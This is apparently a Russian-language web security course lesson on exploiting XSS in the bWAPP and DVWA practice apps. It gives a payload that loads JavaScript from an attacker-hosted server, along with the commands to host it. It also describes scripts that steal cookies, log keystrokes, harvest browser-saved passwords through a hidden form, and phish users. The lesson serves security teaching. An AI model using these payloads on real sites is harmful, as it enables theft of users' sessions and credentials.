6.7. Атаки Cross Site Scripting (XSS) - Эксплуатация уязвимости

 

В предыдущем уроке мы рассмотрели что такое уязвимость XSS, на какие типы она разделяется и как ее тестировать. Однако какую опасность в себе таит данная уязвимость? Какому риску подвержен пользователь заходя на уязвимый сайт? Ниже мы рассмотрим некоторые практические примеры применения XSS злоумышленниками.

 

Загрузка скрипта из внешнего источника

После того, как уязвимость найдена и подтверждена, злоумышленник может ею воспользоваться для совершения различных атак. Однако во многих случаях требуется написать несколько строк кода, поэтому целесообразнее создать JS файл и расположить его на сервере, контролируемым хакером. Для уязвимого приложения достаточно написать одну строчку кода, чтобы оно могло загрузить файл из удаленного сервера. Рассмотрим простой пример, чтобы продемонстрировать данный способ. Запускаем Kali и открываем терминал. В домашнем каталоге создайте папку, например xss. Затем в этой же папке создайте файл с расширением .js, в который, для начала, запишем всего лишь строку. Весь список команд представлен ниже:

mkdir xss/ cd xss/ touch xss.js echo "alert(12345);" > xss.js

Затем в этом же каталоге запустим веб сервер:

python3 -m http.server 80

Теперь JS файл будет доступен по ссылке http://Kali_IP/xss.js, в моем случае это http://10.0.2.5/xss.js. Откроем любое уязвимое приложение, например bWAPP, и введем следующий эксплойт:

<script src="http://10.0.2.5/xss.js"></script>

 Успешно загруженный JS файл

Как видно из рисунка эксплойт сработал и мы можем создать более сложный код. Если вернуться к нашему веб серверу, то в терминале отображаются логи обращений к серверу и как он на них реагировал:

Логи веб сервера, указывающие, что экплойт был скачан

 

 

Кража Cookie

Довольно часто уязвимости XSS используют для кражи Cookie. Многие веб приложения используют Cookie для автоматического входа на сайт. То есть достаточно ввести один раз логин и пароль и на протяжении определенного времени можно вообще не вводить пароль, так как благодаря сохраненным значениям Cookie сайт как бы «узнает» пользователя.

Создадим простой эксплойт, который извлекает cookie, а затем передает по сети на сервер:

Код эксплойта на JS для кражи Cookie

Передачу cookie проведем через HTTP запрос в качестве GET параметра обратно на сервер, с которого и будет скачан эксплойт.

Протестируем наш эксплойт в приложении bWAPP:

Отображение загруженного Cookie эксплйота в браузере

Все выглядит так, что эксплойт был загружен. Проверим логи веб сервера:

Отображение лога сервера с скаченным cookie эксплойтом

Эксплойт сработал. Для передачи по HTTP нам пришлось провести URL кодирование извлеченных cookie, однако мы легко их  можем декодировать с помощью Burp Suite или любых других онлайн сервисов:

Декодирование Cookie в Burp Suite

Помимо cookie, JS скрипт также способен получить данные из локального хранилища браузера. Некоторые приложения могут использовать их для дополнительной аутенфикации пользователей либо для хранения некоторой закрытой информации.

 

Программа-шпион кейлогер (Keylogger)

Если на сайте присутствует уязвимость Stored XSS, то  ее можно использовать, чтобы загрузить программу-шпиона, которая будет отслеживать действия жертвы и передавать все информацию на сервер злоумышленника. Однако здесь следует уточнить. Программа-шпион или кейлогер способна отследить активность пользователя, когда он непосредственно взаимодействует со страницей, на которой содержится внедренный кейлогер. Если пользователь переключится на другую вкладку или просто свернет окно браузера, то и сама программа на время станет неактивной.

Тем не менее, в зависимости от сайта и от того на сколько конфиденциальна информация на нем, кейлогер может оказаться довольно опасным.

Подемонстрируем работу эксплойта на простом примере с помощью приложения bWAPP. Для начала создадим эксплойт, который будет реагировать на нажатие клавиш:

Код кейлогера на JavaScript

Скрипт довольно простой. Мы создали обработчик событий, который реагирует на нажатие клавиш. После каждого нажатия вызывается функция sendKey, которая по одному будет передавать значения нажатых клавиш.

Теперь перейдем к bWAPP и выберем Cross Site Scripting -Stored (Blog), после чего введем эксплойт:

Ввод экслойта для загрузки кейлогера

Файл загружен на страницу и с этого момента будет регистрировать любое нажатие клавиш. В качестве примера наберем слово Hello и проверим логи браузера и веб сервера:

Отображение сетевых запросов кейлогера в Firefox

Отображение сетевых запросов кейлогера на сервере

Как видно, все работает. При желании можно создать более сложный эксплойт или доработать веб приложение, которое будет регистрировать полученную информацию.

 

Кража сохраненных паролей в браузере

Современные браузеры позволяют пользователям сохранять пароли к сайтам, чтобы при последующем посещении сайтов пользователям не приходилось снова вводить свои данные аутентификации. Вместо этого браузер сам подставит сохраненные данные в соответствующие поля.

Многие неопытные пользователи активно используют данную опцию, не подозревая какую опасность она таит. Сохраненные пароли можно легко раскрыть и передать хакеру с помощью простого трюка. Если на странице с помощью JS скрипта создать похожую форму авторизации, то бразуер автоматически подставит логин и пароль. После чего, тот же скрипт отправит полученные данные на сервер хакера. Причем можно сделать так, что форма будет невидимой, а сам пользователь ни о чем не догадается.

Попробуем реализовать сказанное на практике. Для этого воспользуемся приложением DVWA, для доступа в который необходимо сначала авторизоваться, введя admin/admin.

После входа браузер предложит сохранить реквизиты. Соглашаемся. После этого выходим из системы и проверяем подставляет ли браузер сохраненные данные:

Браузер успешно вставляет сохраненные пароли в форму входа

Как видим, подставляет. Теперь посмотрим, как выглядит форма авторизации в коде HTML:

Отображение формы входа в HTML коде

Попробуем составить похожую форму с помощью JavaScript. Вот как будет выглядеть конечный эксплойт:

Код эксплойта на JS для кражи паролей и логинов

В начале (строки 2 – 10) мы создаем 2 элемента <input>, присваиваем им соответсвующий тип и атрибуты.

Затем (строки 12-13) созданные элементы добавляются в DOM. После чего (строки 15-16) каждому из них назначается свой обработчик событий, который реагирует на изменение их состояния. То есть, после того, как браузер автоматически присвоит им сохраненные значения, их состояния изменятся. В результате чего сработают соответствующие функции (строки 18 -24).

Сохраняем эксплойт и запускаем веб сервер. Затем входим в DVWA, переходим в раздел XSS Stored и добавляем ссылку на эксплойт.

Если проверим код страницы, то увидим созданные элементы ввода:

Успешно созданная форма для кражи паролей

Во вкладке Network вы обнаружите совершенные сетевые запросы:

Отображение сетевых запросов в Firefox

Ту же самую информацию вы увидите и в логах веб сервера:

Отображение укарденных пароля и логина в логах веб сервера

 

 

Фишинг

Еще одним примером атаки XSS является визуальное изменение содержимого страницы. В англоязычной литературе встречается термин Virtual Defacement.

Принцип атаки заключается в том, что с помощью JS вы можете изменить некоторые элементы на странице либо полностью изменить её дизайн.

Например, хакер может разместить замаскированные ссылки на определенный сайт, которые будут открываться исходя из действий пользователя либо автоматически сразу после загрузки страницы.

Также хакер может разместить на странице фейковую форму авторизации, при этом убедив пользователя снова войти на сайт в целях безопасности. Ничего неподозревающий пользователь введет свои данные. Скрипт их благополучно передаст на сервер злоумышленника и скроет фейковую форму.

В различных электронных магазинах или маркетплейсах вредоносный скрипт может перехватить данные вашей банковской карты при проведении покупки. Например, скрипт может создать форму и попросить вас ввести номер карты.

Существует множество других сценариев XSS атак. В этой статье мы рассмотрели лишь некоторые из них.